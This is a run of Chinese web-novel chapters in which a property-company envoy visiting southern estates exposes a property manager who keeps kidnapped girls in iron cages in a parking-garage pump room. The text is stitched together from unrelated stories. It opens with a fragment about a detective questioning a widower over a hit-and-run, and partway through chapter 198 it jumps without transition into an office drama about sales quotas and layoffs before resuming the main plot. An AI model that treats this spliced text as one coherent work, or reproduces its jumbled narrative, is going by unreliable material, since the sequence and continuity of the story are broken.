陈赞听了这些话，没有跟着说什么，突然问道：“恩彤姑姑出车祸的时候，你在车上吗？” 姑父慢悠悠的抬起头，很哀怨的说：“雅丽出事那天，我正陪着亮亮在补习班学英语，交警打电话给我的时候，我整个人都是懵的。” “我能去叶雅丽女士的房间看看吗？”陈赞问。 而且并没有解释原因，只是很坦然的等着姑父的回答。 姑父卡壳了几秒钟，然后也很淡定的说：“可以的，陈警官，我也很希望你能帮助负责雅丽案件的警察尽快找到逃逸者，我带你去。” 陈赞点点头，跟着姑父上了楼，我也悄咪咪的跟在后面，姑姑的车祸彻底抓住了我的好奇心。 姑姑的房间其实就是原来和姑父一起住的房间，姑姑去世后，姑父搬到了书房，他说他会触景生情。 房间里基本设施都没有动，陈赞逡巡了一圈，眼睛停留在那张全家福上。 里面有爷爷、姑姑和姑父，陈赞指着照片问姑父，“这个是你们什么时间照的，没看见孩子一起照呢？” 姑父看了一眼照片说：“哦，是我和雅丽结婚前，那个时候还没有亮亮呢。” 停了一下他又说：“本来大哥一家也要一起拍的，可是老爷子在拍照前几天跟大哥大吵了一架，他一气之下离家出走，所以这张全家福里就没有他们。” 我看着照片里面神情严肃的爷爷，没有说话。 这张照片一共就三个人，表情都很奇怪，爷爷神情严肃，看着就不太高兴，姑姑倒是笑的很明媚，想必这段婚姻是很遂她心愿的，姑父的表情很，很忧郁，对，就是忧郁。 难道他对这段婚姻不满意？ 我多疑敏感的性格又开始作祟，猜测着当时的可能。 陈赞没有再说什么，又四周看了看，转身出了房间。 晚上的时候，小欧陪着我睡在我的房间，她早早的进入了梦乡， 我却辗转反侧。 胡思乱想中，我迷迷糊糊睡着了。 不知道睡了多久，朦朦胧胧的听到有一下接一下的敲击声，一开始很重，后来又一点点轻了。 我激灵一下就醒了，房间里很黑，月光从窗帘的缝隙投射进来一条，那一下下的敲击声更加的明显。 我走下床，悄悄打开门，顺着声音找过去。 这声音是从一楼传上来的，到了一楼，我发现陈赞也站在走廊找寻。 “陈警官，你......” 陈赞向我做了一个“嘘”声的手势，我跟在他身边，顿时觉得心安了很多。 可是这时候，声音没了。 楼上的书房点了灯，姑父走了下来，看到我和陈赞站在走廊，他吓了一跳。 “你们、你们这是？”姑父纳闷的问着。 “姑父，你听见有一下下的敲击声了吗？”我嗫嚅着问道。 “敲击声？没有呀，我想下楼喝点水，这下来就看到你们在这。陈警官，您也是起夜？” “哦，没事没事，惊扰你了，睡吧，恩彤，你也回房间吧。”陈赞明显不想多说。 我有点害怕，但是又不能表现出来，想一想家里好几个男的都在，也没什么好怕，点点头就上了楼。 奇怪的是，那敲击声再也没有响。 第一百九十七章 我是来学习经验的 “不是，我们赶的很巧，矮子说了，明叔最近会来一次，带走硬货。”林翔说。 “这么说，丢失的孩子，还有王敬之、冯晶晶，现在都有可能还在这个城市？”我问。 “冯晶晶就不确定了，她当初毕竟是被明叔亲自带走的。”林翔说。 我的心情又沉重了，王敬之一定是因为还没找到冯晶晶的营救方式或者没找到人，才不回来的。 “老林，我们下一步需要做什么？”我问林翔。 “等警察那边的消息，他们已经部署了方案去摸明叔过来的时间。不过向荣，我不建议你去，这是警察的工作。”林翔说。 我很想去，但是我也不想让林翔为难，顿了顿我说：“好，如果你需要我的帮助就告诉我，我是你忠实的护卫。” 我的话把林翔给逗笑了，“向荣，我何德何能啊，能有你这么一个有勇有谋的护卫。” 我也笑了，这就是经历过经历的情义。 处理完林翔这边的事后，我又回来龙江苑跟刘国锋会和。 刚走到龙江苑附近，就看到原来大面积的白色条幅都没有了，环境整洁了很多。 到了园区里，直到物业办公室这一路，一面条幅都没看到，，我心下了然，这金辉不再张牙舞爪了，总算是解决了一个大麻烦。 刘国锋看到我进门，很热情的走过来迎接我，这在之前可从未有过。 “特派员，凯旋而归啊！我可真的是服你了，你是这个！”刘国锋用大拇指给我比了个赞的手势。 “刘哥，别这么说，这不是赶上了嘛，那天你也看到了，那孩子我也认识，能尽一份力就尽一份力呗。”对于他的突然夸赞，我并不是很喜悦。 “何止啊，这金老师找回孩子的当天就把全部的条幅都撤了去，而且这几天也再没有去难为对门的钟良爱人。今天保洁回来跟我说，看到他在收拾东西，据说是要搬走了。” “搬走？” “对啊，男人戴绿帽子的事，现在人尽皆知，他也觉得待不了了呗。他们当老师的，讲究为人师表。” 我一听刘国锋就是只知其一不知其二，小梅的事情他应该不知道，但是金辉是想明白了自己才是始作俑者，放过了刘楚嫣，还是仅仅是为了还园区一个清静，就不得而知了。 我想等到下班的时候去看看金老师，顺便看看小宁，但是我没有告诉刘国锋。 “刘哥，我出来好几天了，正事还没办完，咱们今天把其余几个楼盘走一遍吧，没什么问题了，我也该回去复命了。”我跟刘国锋提议。 “行，我们这就出发，除了这里还有11家，其中一个远一点，今天未必能看完，我们分两天看，如何？” “好，就听你安排吧。” 刘国锋管理的片区面积之大，让我咂舌，这位老物业人，能几十年如一日的，把这么大面积的十几个园区都管理的井井有条，也确实是有真本事。 “刘哥，你的管理有方啊，什么时候到我们两个区给传授传授经验呢？”我很诚恳的邀请。 “哈哈，特派员，你可千万别这么说，在咱们集团，一直排名第一的可是你的区域，并不是我啊！”刘国锋很谦虚。 “我搞了个第一完全是因为控制不住脑子，我就觉得吧，靠那么点物业费做营收，存活起来太艰难，所以鼓捣了几处拓展经营。但是论这么大面积的管理，能如此的有条不紊，零投诉、零失误，那还得是你这里啊！” 刘国锋看我说话如此实在，也憨憨的笑起来。 “南方这边的物业有个很大的特点就是租户比较多，而且来自各地，确实不是很好管理，比如在业主档案的建立等方面，就没那么成体统。不过，这片区域这么大，还能不出什么事情，也不全是我一个人的功劳，还要仰仗小杨老板，他领导有方啊！” 对，我几乎忘了这茬了，我来南区这一趟，按正常来讲就是走个过场就行，我要是认认真真的又看又提问，那不是等于给老板和小杨老板之间建立矛盾吗？ 搞不好小杨老板还得以为我是经过老板私下授意的，特意来查他的，不就搞坏了。 我也终于理解了刘国锋之前对我不待见、爱答不理的原因了，根儿在这里。 “刘哥，我这次就当做是来学习的，回去一定多宣传你这里的宝贵经验，必须跟老板提出南区才是我们集团的楷模呀！”我也给刘国锋吃了定心丸。 也是让他把话头传递给小杨老板，我可无意视察，别想太多。 “哈哈，向荣，你这张嘴呀，真的是厉害！行，我就多陪你转转，你想了解什么，你就问。”刘国锋的喜悦溢于言表。 看来好听的话是都爱听，好听的话也能化解很多看不见的隐患。 刘国锋陪我转了一整天，我们一共去了6个园区，剩下的5个准备明天再去。 回到龙江苑以后，刘国锋看看时间说：“向荣，走吧，一起去吃个饭。” “刘哥，改明天吃吧，今天你也累坏了，家里是不是也等你吃饭呢？”我善解人意的建议让刘国锋更 加暖心。 “那也行，那就明天，今天这个时间也下班了，回吧。”刘国锋高兴的说。 辞别了刘国锋，我往金辉家走去，不知道是因为小宁的关系还是怎么，我总觉得这件事我还没有收个尾。 金辉家的大门敞开着，里面果然是在打包东西，金辉正指挥着两个工人装扮的人在干活。 “哟！物业同志你来啦，快请进！”金辉很热情，再也看不到之前的冷脸了。 “金老师，您这是要搬家？”我四下寻找着，没看到小宁，“小宁呢？” “是的，今天就能搬完了，我在学校附近还有一处小房子，距离小宁的学校和他妈妈家都近，方便照顾。小宁自从回来就一直跟他妈妈住呢，孩子是吓坏了，不敢再到这边来了。”金辉回。 我一想，确实，这个原因肯定有。 毕竟外面的女人再好，也没有自己儿子重要啊。 第一百九十八章 可疑的物业经理 “金老师，您这也算是跟之前告别了，换个地方重新开始，忘记过去吧，放过自己。”我由衷的建议。 金老师目光炯炯的看着我说：“你说的对，小宁丢了以后，我好像忽然可以安静下来了，有空间去思考之前发生的事情，我很后悔自己的行为，这其实是在为我自己掘坟墓。有些事情不在了就是不在了，一定要拼命维持是会累的。” 我笑笑，看来金辉是真的想通了才走的，“好，您搬家有需要我们物业帮忙的地方就尽管提，我就不打搅您了，再见。” 金老师也很热情的跟我说再见，我下楼的时候，听见对门钟良家的门开了，从里面探头出来看的正是钟良爱人。 她很感激的朝我点头，她的意思我明白，她在感谢我帮她和孩子结束了噩梦般的生活。 第二天我跟着刘国锋走剩下的5个园区，有4个园区相距很近，最后一个在近郊，位置最远。 刘国锋安排最后去最远的那一个。 最远的园区叫花园城，位置算是这个城市的四环边界，开车开了两个小时，到了位置一看，我愣住了。 我以为在近郊的话，应该不会有太大，但事实恰恰相反，这可真是南北差距。 “刘哥，园区好大啊，入住率高吗？”我问。 “入住率能达到85%以上吧，租户占60%。”刘国锋想了想又说：“这里我不经常过来，都是钱天宝在管理，钱天宝是我下边的一个物业经理，主要就管花园城。” “刘哥，你这区域的收益实力真不是盖的，我和高文康都比不了。”我感慨。 “地区经济发展不同，这个你们也没办法的。”刘国锋回。 很快就进了花园城园区，门口的保安知道是刘国锋的车，主动放行，还给敬了个礼。 我一看这个钱天宝管理的也还行啊，至少保安的这个第一印象就不赖。 我们俩还击掌为证。 可是当我好奇的问他跟滕岩到底有什么恩怨的时候，他瞪了我一眼说：“大人的事儿，小孩少打听！” 接下来就是布置完成8千万任务的事情了，陈总要把份额给各地区分下去，当然，还要裁掉3名员工。 电话会议上，陈总召集C市马燕、d市刘楚楚、h市高明山、n市赵成开了会，s市是我和王璐瑶。 “八千万的任务，我们将按照各地客户的基盘和活跃度进行分配，老大说了，超额完成了，团队内每个人奖励奖金三万，兄弟姐妹们，燃起来吧！人生能有多少次冲击三万的机会！这个分配的依据，你们有没有意见？”z总还挺民主，我知道他是怕后期打架。 “我有异议，领导，n市想多要1000万，之前不是我负责，给的少我也不争，下半年我负责，我有信心多完成1000万出来。”赵成请缨。 “赵成，别贪心啊，有把握吗？”z总问。 “领导，绝对有，您放心！” z总想了想说：“你刚上来，情况熟悉度还不是最佳，这样吧，多给你500万份额，如果顺利完成，今后n市就按照1000万的标准多给。” 赵成高兴的答应下来。 “其他地区还有异议没？如果没有就下线吧，这可都是跟着奖金呢，都给我精神着点儿，有事马上跟我汇报！”z总提问完，各地都没有异议了，大家都下了线。 我和王璐瑶临出办公室的时候，他叫住我们。 “瑶瑶，s市这回承担4000万，你是第一年带队，压力肯定有，但是，务必完成！我分配这个额度是有依据的，你不明白的，可以拿着客户信息过来问我。记住，是必须完成，明白吗？”z总严肃的说。 王璐瑶有些没有底气的看着z总，想说什么又忍住了。 “行，你回去吧，我找木子还有点事。” z总留下我，我猜是跟裁人的事情有关，果然的，他开门见山：“3个名额，一个是廖英的，另一个是张大东，还有一个你推荐一下。” 我一听，这是裁人吗？这不是泄愤吗？ “z总，你别难为我了，我哪知道谁不行啊，刚过试用期。”其实我是不满意他前面说的那两个人。 “怎么？裁廖英和张大东，你不满意？” 我一想，既然你心里知道我不满意，我隐藏着也没必要，直接就说：“领导，廖英在三期呢，劳动法有保护，你动不了的，可别给hr找麻烦了。至于张大东，你上回说完人家，马姐都没送你去车站，你忘啦？” z总若有所思的想了想，“行了，你出去吧，我再想想。” 我出来以后也生气，凭啥赚钱的事情都跟其他人说，砸人饭碗的事就跟我说，我为啥总得擎着坏事？好事就不能找找我！每个人奖励三万，是不是根本就没我啥事儿？8000，你看到时候要是不给兑现的，我就不干了！ 小敏看出我气鼓鼓的脸蛋子，凑上来说：“木子姐，你这是咋了？z总又让你加班啊？” “不加，谁爱加谁加！下班我就走！”我一边嘟囔一边泄愤。 就听着一阵高跟鞋的声音由远及近，是谁啊？ 人没到，香味先到了，打翻了一瓶香水？ 一张稍显得狭长了些的脸庞，长卷发挽起在头顶，眼睛大而黑亮，美是美，却有种邪气，鼻子低塌，嘴很好，十分性感的唇，可是口红涂的太厚，显得粗俗。 穿了一身香奈儿套装，不用说，鞋子和包包也都是价格不菲。 “这人谁呀？”我问小敏。 “她是z总夫人。”小敏悄咪咪的说。 啊，是姐姐...... 刚想到这，她就站到了我桌前，“你是李木子不？”声音普通，没有特点。 “是，我是李木子。您是姐姐吧？”我头一回发现我这么会见风使舵。 “嗯呐，z在不在里面？”z总夫人听见我嘴巴这么甜，开心的一笑。 我用力点点头，“在的在的，您进去吧。” z总夫人进去之前，还朝我眨了眨眼，我那个心里啊，说不好是啥滋味。 “木子姐，你怎么和z总夫人关系这么好呀？她可厉害着呢，你要小心。”小敏提醒我。 “怎么个厉害法？”我问。 “她曾经把我们前台的一个小姑娘给欺负离职了，就站在前台骂人家，半个小时都不重样的骂，还不带脏字，z总也不敢出来管，结果那小姑娘哭着跑走了，就再也没来上班。” “啊？还有这事儿？因为啥啊？”我吓坏了，这女的这么泼的吗？ 第一百九十九章 再现图标 也就能过了五分钟吧，进来一个小老头，说是小老头一点都不夸张，整个人都像浓缩在一个一米七左右的体模内。 脸上皱纹横生，黑黪黪的，看不出实际年龄。 “两位领导，他是今天的当班保安孙进，老孙头，让他带你们去吧，我去忙了，漏水那里我也得去看看。”钱天宝介绍完，没等我们言语就先离开了。 “领导们走吧，你们想去哪看？”老孙头的嗓音嘶哑的像随时能坏掉的风箱。 我终于理解了刘国锋口里的不好招人难到了什么程度。 “行，走吧，先去园区里转转。”刘国锋说。 现在是刘国锋的地盘，自然是刘国锋张罗、规划，我是客人，不能喧宾夺主，那样会让刘国锋为难，面子上也挂不住，这个道理我是明白的。 老孙头步速不慢，腿脚很利落，园区很大，但是我们没用多久就转完了。 花园城园区里的照明设备、监控设备都要比市内的几个园区多出好多，我问过刘国锋，他说正是因为在近郊，这些东西多一点只会有好处。 总之就是看上去安全系数很高，园区营造的回到家的感觉，还有自然生态环境都很有关爱效果。 “刘哥，我想去顶楼瞅瞅。”我提议。 “行，走吧，正好就从这栋楼上去。”刘国锋应声。 我们一行三人进了单元门，楼道里也很干净，有人进来之后，感应灯随即亮起。 电梯正好在一楼，坐上电梯后也很顺利，中途没有任何停靠，直接到达顶楼。 我在顶楼四处转了装，特意去消防通道看了看卫生情况还有消防情况，没有任何问题。 “刘哥，环境卫生不错呀！”我称赞。 刘国锋也有检查的意思，也是不住的点头，这是随机找的一栋，指标这么好看，那就不是做给外人看的了，而是形成了管理制度，一直是这么干。 “老孙，你们保洁几个人？”我问。 “保洁啊？抱歉啊领导，这个我不清楚，我平时不怎么出来，我了解保安的事情，您可以问我保安的事情。”老孙头回。 很显然，刘国锋也对这个回答不满意，但是我们也说不出什么来，只好沉默。 “走吧，去监控室，看看你们的主设备。”刘国锋说。 老孙头也没犹豫，直接就带我们坐电梯下行去总控室。 我记得刚才钱天宝说那边有事要处理来着，我们去了会不会打扰到人家工作？ 想归想，我看刘国锋没提，我就跟着，没有说出来。 花园城的总控室不大，但是设备很新，看着还很先进，至少比我和高文康那里的都先进。 “刘哥，你们这套设备应该是时下最先进的吧？”我问。 “还是向荣眼睛独啊，一眼就看出来了。没错，这是小杨老板的意思，咱们区12个楼盘基本上都快换完这套设备了。你可别光看外表，有了它省了不少事呢！还有风控的功能。”刘国锋热情的介绍起来。 人家归小杨老板管的就是不一样，实力就是雄厚，如果我和高文康的区域想全部换上这一套，肯定不会给我们批，搞不好还得让我们自己想办法解决。 老孙头坐在自己的位置上，开始工作，我和刘国锋一想，大概都走差不多了，也不需要他耽误班陪我们走了，“你工作吧，我们回去了，老孙。”刘国锋说。 “领导，你们视察完了吗？还要去哪告诉我就行，我带你们去。”老孙头急急的问。 “不去哪了，我们回去了。”刘国锋已经拉开了门，我们出了总控室。 回去的路上我和刘国锋有点迷路了，因为是从那栋楼的电梯直接下到的负一层，转了几个弯到的总控，丛总控出来直接上到一楼出来，我俩都有些陌生，之前没来过这附近。 我们俩摸索着，探着路往前走，我一眼就看到了早上过来看到的维修的牌子。 “刘哥，到地下停车场入口了，你看那个牌子。” 刘国锋也看到，跟我说：“你看我这，还本地的呢，路线也不熟啊，哈哈。” 走到那个附近，我就忽然很想下去看看，“刘哥，我们下去看看吧，看 看停车场的设施配备。”我提议。 “好，走。” 顺着停车场的入口往下行，马上就到进车杆附近的时候，我无意间看到了墙边的图标。 因为我这几天一直在留意这个图标，所以它一出现我就能观察到，但其实它并不是很显眼，旁人只会认为是工程劳作时候的涂改。 “什么情况？师哥来过这里？还是现在就在这里？跟钱天宝有没有关系呢？”我心里翻江倒海的想了很多问题。 “向荣，走吧，怎么了？想什么呢？”刘国锋喊我。 “哦哦，没什么，走。” 看到图标后，我对停车场的布局严加注意起来，车辆的停放并不是很满，除了保安亭以外没看到有其它单独的空间。 对啊，钱天宝不是说有个工具仓库吗？会不会？ “刘哥，我们去漏水那里看看吧，都到这了。” “行，去看看，这个钱天宝也没报费用，我正想看看怎么个漏水呢。”刘国锋赞同。 “怎么走，你知道吗？”我问刘国锋。 “我大概记得，跟我走吧。” 我跟着刘国锋往停车场深处走了一段，又拐了2、3个弯儿，不远处确实有一个小房子，可正当我们要走过去的时候，听见了钱天宝的声音。 “刘总、吕总，等一下，你们等一下！” 我俩停下脚步，看到从那附近跑过来的钱天宝，“两位领导，你们怎么来这边了？” “来看看施工情况啊，怎么？不欢迎？”刘国锋一边回一边往里走。 “没有没有，但是现在不能去。”钱天宝还是拦住刘国锋说。 “为什么？” “瓦工刚抹完地面，去了都踩坏了啊！” 我和刘国锋一听，都停住了，这就没办法去了，人家刚干完，我们去给毁了像什么话。 “向荣，我们赶得还真不巧，走吧，回去！”刘国锋招呼我。 我没说什么，点头应承刘国锋，跟他往回走。 走了两步下意识的回头看了看钱天宝，他的眼睛里又流露出了那种冷漠和狠厉。 太可疑了！什么情况到底？ 第二百章 行动吗？ 我带着满肚子疑问步履沉重的往外走，如果这个房子有问题，王敬之一定会给我留记号的。 果然没有推测错误，不远处的水泥柱上，我又看到了图标，这个维修的仓库就是嫌疑地点，没差了，回去先通知林翔。 钱天宝这次没让我们自己回去，而是在后面一直跟着我们走回物业办公室，生怕我们再到处乱跑一样的。 “天宝，看了一圈，成效不错啊！”刘国锋表扬。 钱天宝挠挠脑袋，谦虚的说：“刘总，这是我应该做的、应该做的。” “不用那么谦虚，做的不错就是不错，就是该获得表扬的。不过，这个老孙，你招的时候没通过我审批吧？年纪是不是太大了，要承担很多用工风险。”刘国锋问。 “刘总，他真实年龄才40，农村人，经常风吹日晒的，长得老成而已。”钱天宝解释。 40？老孙头？我惊讶的瞪大眼睛，刘国锋跟我的反应一样。 “那你为什么要称呼人家老孙头呀？搞得我和吕总都以为他年纪很大了，也称呼过他老孙头，怪不得他很木然呢，这事办的太不好了！”刘国锋懊悔。 “老孙头是他的绰号，这里的人都这么叫习惯了。刘总，没关系的，老孙为人很和气，脾气秉性都没得说，不会放心上的。”钱天宝解释。 我们又寒暄了一会儿工作上各业务模块的细节，时间接近中午的时候，刘国锋准备跟我回市内。 “两位领导，留下来吃完中午饭再走吧，这也到了饭点儿了。”钱天宝留我们吃饭。 “不了，天宝，你忙着吧，我们来，也耽误你不少正事儿，吃饭以后有得是机会。”刘国锋的拒绝正合我意，我现在只想尽快回去跟林翔联系。 “向荣，你的意见呢？”刘国锋问我。 “对，听刘哥的，我也是这个意思，回到市内我也该订票回去了。”我说话的时候，眼神就没离开过钱天宝。 我很希望他没参与这桩罪恶，但是我看不出他像无辜的样子，尤其是他有意阻拦我们去仓库。 因为事先知道明叔要来这里，我还能等得住回到市内联系林翔再行动。 如果不知道明叔要来，我现在就不能走了，一定要在这看着他们，以免转移受害者。 钱天宝看我们都拒绝再留，就送我们到了园区口，我再一次环顾了一下进园区的路线和内部的大致构造，印到了脑子里。 回去的路上，刘国锋问我：“向荣，晚上一起吃个饭吧，听你说你要订票，别着急，明天再走来得及。” 我想了想，很想晚上和林翔再次造访花园城，但是吃饭的事情刘国锋已经说第二次了，我再拒绝就有点不识抬举了。 “好啊，刘哥，咱们去吃这里的特色吧，我很期待，越简单越好。”我回。 “那怎么行，难得来一趟，我必须尽地主之谊啊！”刘国锋不依。 “那有什么的，我在西区跟着高文康吃了好几处特色面条，到现在都留恋那个味道呢！刘哥，你就拿我当兄弟，别把工作上的职务扯进来，太累。”我的北方风格又犯了。 刘国锋愣了一会儿，哈哈的笑起来，“你和高文康你们俩啊，还真的能处到一起去，他就是你现在这个风格，憨直憨直的，人品没得说！” 我不失尴尬的笑了。 “行，你的意思我听明白了，听哥安排吧，绝对不让你放不开。”刘国锋说。 “行！”我很愉快的答应了。 回到室内，趁刘国锋处理工作的时候，我给林翔打了电话，把上午的事情跟林翔详细的说了一遍。 “你是说丢失的人很有可能在地下停车场的仓库里？”林翔问。 “没错，而且物业经理有很大嫌疑。最奇怪的一点是，他的神态举止不知道是哪里总让我有种似曾相识的感觉，对了，他走路有点跛。” “似曾相识？以前见过？” “应该是没有，想了一天了都没有想到。老林，今晚上咱俩去一趟吧！”我跃跃欲试。 “就我们两个去，距离市内这么远，万一有点什么闪失，救援都需要很久的。向荣，我先汇报一下，你等我消息。”林翔说完就挂断 了电话。 一下子把我整不会了，我心急如焚，他却没有说什么时候能给消息。 看来只能先去参加刘国锋的饭局了，然后再伺机行动。 下班后，刘国锋带我去了一个很雅致的小庭院，是那种江南园林风格的，干干净净的，又很特别。 我很奇怪，这样的装潢该是吃什么菜的地方呢？ “向荣，你说高文康请你吃了几天的特色面条，他们那里确实以面食为热衷，今天哥带你尝尝咱们这里的面。”刘国锋给我解了惑。 这么好的地方就只能吃面条吗？那老板不是太亏了，难道说面条能卖出高价？ “刘哥，这里的面条还不得老贵了？”我问。 “哈哈，我就知道你会这么想，一会儿你就知道啦！” 跟着刘国锋进了门，前台有个很好看的女人直接就喊：“爸，你怎么过来了？” 爸？难道这是刘国锋女儿开的店？ “下班了还没吃饭，带一个朋友过来尝尝你们新厨师的手艺啊！”刘国锋很和蔼的看着女孩说，一看就是父女情深，那眼睛里满满的都是爱。 “好啊，爸，那你还不给介绍一下？这位叔叔我该怎么称呼？” 这当口我也开始仔细的打量起刘国锋的女儿来，这孩子生的真是好模样，身材胖瘦适中，身高不像北方女子那么高大，典型的南方女子的婉约，小鼻子小嘴巴，大眼睛，扎着一个马尾辫子。 “这位你得叫向荣叔叔，向荣，给你也介绍一下，这是我闺女儿，刘小双。”刘国锋给我们做了正式的介绍。 “向荣叔，快过来坐吧，看您像北方人，吃过我们这的特色吗？”刘小双很健谈，不怯场。 “小双好，今天叨扰啦！我确实是北方人，哈哈。”我很喜欢刘小双给我的第一印象，这女孩子不错。 第二百零一章 夜探花园城 小姑娘去上菜的工夫，刘国锋已经给我倒好了茶，“向荣，品品我们这里的茶，虽然没有那些高档包装，但是口感和养生价值是丝毫不输的。” “好。”我应承着端起面前的茶杯，浅浅的尝了一口，“这是什么茶？好特别的味道，而且茶香好闻。” “这是小双她们店的招牌，等你回去，我给你带走两盒。”刘国锋说。 “刘哥，您可真的是好命，这姑娘跟小棉袄一样吧。”我笑呵呵的夸赞。 “谁说不是呢！很多时候我都想啊，什么投诉、闹事儿这些烦心事儿，都无所谓，都敌不过我姑娘幸福开心的生活。很多时候一不顺心了，只要想想姑娘，或者来这店里歇会儿，就什么情绪都烟消云散了。”刘国锋也喝着茶说。 确实，这种心情跟我累了、疲了，回家见到父母后是一样的。 正聊着，小双开始给我们上菜，她用一个大托盘，里面放两个小盘菜，一共端过来三四次，数了数一共有六样不同的菜。 刘国锋挨个给我介绍，东坡肉、酱鸭、龙井虾仁、西湖醋鱼、片儿川...... 最后给我和刘国锋上了两碗面，“向荣，这个你一定听说过很多次，吃没吃过我不知道，不过，你一定没吃过我这么正宗的。” “哦？这叫什么面？”我问。 “阳春面，来吧，尝尝才知道。”刘国锋已经开始动筷，我也饿了。 我习惯在吃第一口面之前先喝口汤，这第一口汤是我能吃多少面条的关键。 “刘哥，这面条的味道太好了！我以前从没吃过，阳春面这么好吃的吗？”我感慨着，停不下筷子，不仅仅是面条，其余几道小吃也吸引着我的味蕾。 刘国锋笑眯眯的看着我说：“合你胃口就好，今天管饱，不够了随时让小双添。” 我的嘴被食物占着，用手给刘国锋比了个赞，我们两个热火朝天的吃开了。 吃完了饭，我们又品了会儿茶，我偶尔看看表，已经接近八点了，林翔还是没有任何回音。 “刘哥，我去趟洗手间。”借着去洗手间的当口，我给林翔打了个电话。 “老林，今晚上还行动吗？我明天准备回s市了。”我着急的询问。 “向荣，我也在等这边的回复呢，情况跟他们都汇报好了，但是他们也要请示上级，毕竟只是我们的猜测，不能贸然出警啊。”林翔的话里也透着焦虑。 这时候迎面走过来一个长相一看就是南方人的男人，一边走一边用广东话在讲电话，语速很快，听不清在说什么，内容让他很激动。 路过我身边的时候，他还瞪了我一眼，好像是嫌我挡了他的路。 这种没有礼貌的人，虽然我不喜欢，但我也很识趣的往边上让了让。 “老林，我俩先去看看吧，没有就更好，有了就当场拿下呗，这有什么的！”我圈拢林翔跟我去查看。 “我倒是没什么，我得保护你的人身安全啊，万一出点什么事，我怎么和你家人交代！” “我听你指挥，你放心，肯定不会出事的。地段和路线我都熟，去看看没有我们不就都放心了吗？”我极力游说。 电话那边的林翔考虑了几秒，然后说：“行，我们在哪会合？” “我一会儿回住的地方找你，你在住地儿等我。” 结束通话往回走的时候，听见卫生间里断续的传出那个南方男人讲电话的声音。 声音刻意压低，我有意听了一下，好像听到明叔两个字。 明叔？我怀疑自己听错了，因为我听不懂广东话，也许是发音神似，我又一心只想着这件事导致的吧。 回到刘国锋那里，我起身告辞，“刘哥，跟我过来的警察朋友找我有点事情，我得先回去了，今晚这餐受用匪浅，等你有机会到我那里的时候，向荣一定回请哈！” “哦？林警官找你有事，既然如此我就不多留你了，以后一定有机会过去的，记得以后再到这边来，有任何事都要联系我，我毕竟在当地，很多事做起来更方便。”刘国锋回。 “好！” 告别刘国锋后，我打了一辆出租车，很快就到了跟林翔住的酒店，林翔正在 等我。 “老林，路程距离这里较远，我们得打一辆车租车过去，还能快一点，到那里估计也得十点多了。”我跟林翔介绍路程。 “没关系，晚一点也好，尤其别被物业的监控看到，那样我们还没等行动呢，就得被控制起来。”林翔说。 “你放心，我有办法，走吧！” 路上很顺利，不多赘述。 到了花园城园区后，四周很安静，确实是四环边际的暗夜风格，相较于市内，这里就跟世外桃源一样。 唯独花园城的灯光能照亮进园的路，除此之外什么底商之类的全都已经闭店，一片漆黑了。 我和林翔穿的都是深色的衣服，来之前各自戴了一顶帽子，恰好有几个晚归的业主，我们也跟在后面从小门进了园区。 白天的时候得知值晚班的是孙进，上午引领我们参观的老孙头，我心里有底。 我带着林翔顺着监控的盲点走到停车场附近，“老林，一会儿等有车过来的时候，我们跟在车旁，到了车杆处猫腰快速通过。” 林翔点头答应，跟我一起等着有车进停车场。 等了能有半个多钟头那么久，一辆车的车灯缓缓开过，我和林翔按照商量好的方式，跟着车快速的钻进了停车场里面。 夜间的停车场，照明都是感应式，四周有设计消防指示灯，我按照记忆往工具仓库摸去。 近距离看这个工具仓库的时候我才发现，这个仓库占地面积很大，不仅仅像是一个仓库，更像是一个泵房，里面能听见机器的响动。 而且门没有落锁，可以推动。 我用眼神询问林翔是不是要进去，林翔四下看了看，示意我跟着他，他走前面。 我们一前一后，轻轻的推门进到了仓库内。 确实跟我判断的一样，里面就是泵房，应该还有一些供暖用的阀门、总管道都设计在这里，门里面的噪音更大。 但是地面并没有像钱天宝说的那样，刚刚被瓦工抹平，也没有什么所谓的漏水。 跟着林翔在里面七拐八拐的走，寻找着可疑的空间，隐约的发现，前面有室中室。 一个小房间，玻璃透出昏暗的灯光，有灯光就应该有人在，会是谁呢？值班人员？ 第二百零二章 仓库里的两个铁笼 林翔让我等在原地，他过去看看，我人等在这里，眼睛一眨也不眨的跟着林翔。 小房间的光线是昏黄的，看着好像里面坐着一个人，是个模糊的暗影，不太能确定。 林翔过去以后，寻觅了半天，也没找到能进去的要领。 怎么办呢？我也开始绞尽脑汁，有了，只能这么办！ 林翔回来以后望着我，用口型问：“进不去，里面有人。” 我压低声音告诉他：“看我的。” 衣服口袋里有我来之前特意准备好的一些石子儿，就是为了一旦有这样的时刻可以派上用场。 我开始一个一个向小屋的窗户玻璃打去，石子儿小，但是坚硬，一个个砸到玻璃上之后，会发出清脆的响声。 林翔瞪大眼睛看着，还不知道我到底要干什么。 这时候里面那个暗影动了，紧跟着门被打开，里面有个人走出来喊：“谁？” 我看清出来的人以后，惊呆了，钱天宝？他没走？ “他就是你说的可疑的物业经理？”林翔问我。 “对，他就是钱天宝，他一直没走，一直看守在这里，屋子里肯定有问题。”我回。 “只要能证明屋里有问题，我马上给那边的警察打电话，他们会赶过来，可以当场羁押钱天宝。”林翔说。 “可是现在要怎么进去查呢？” “老林，只能调虎离山了，试一下吧。”我回。 我又开始了投掷石子，打在玻璃窗上发出咚咚的声音。 没扔几个，门又被拽开，这回钱天宝没有喊，而是捡起地上的石子，看了看头上的摄像头，朝着保安亭那边的位置走去。 事不宜迟，他刚离开，我和林翔就鱼贯而入。 刚进去，我们俩就惊呆了，震撼了也愤怒了！ 很小的屋子，地面上放了两个铁笼，每个铁笼里都躺着两个女孩子，其中一个还穿着校服，她们的手脚都被绑着，浑身脏兮兮的，嘴巴被胶带缠着，看到有人进来，都警觉的看向我们。 我用眼神询问林翔怎么办，“老林，我们不能离开，这钱天宝出去以后发现有我们的踪迹，一定会先解决这四个孩子。你去联系警察，我在这里等着会会钱天宝。” 林翔想了想，“好，打完电话我也过来，注意安全！” 林翔出去找信号好的地方打电话，我则在屋里找了一个顺手的防身工具，躲在门后等着钱天宝回来。 家贼难防，招来的物业经理竟然是贼，而且干的还是这么丧尽天良的事情，我今天要替刘国锋清理团队！ 外面有深一脚浅一脚的脚步声，一定是钱天宝回来了。 随着门被推开，我看到进来的人正是钱天宝，钱天宝也看见了我，大大的惊住了。 他不知道该怎么称呼我，也知道我看到了地上的笼子，看到了这出罪恶。 “钱天宝，想不到你是这样的人！现在认罪还不晚，识时务的赶紧跟我去警察局自首！”我愤怒的喊。 钱天宝如梦初醒般，“吕总？你到底是干什么的？今天刚一见到你，我就觉得你不是来视察工作的，没想到你竟然能发现这里！” 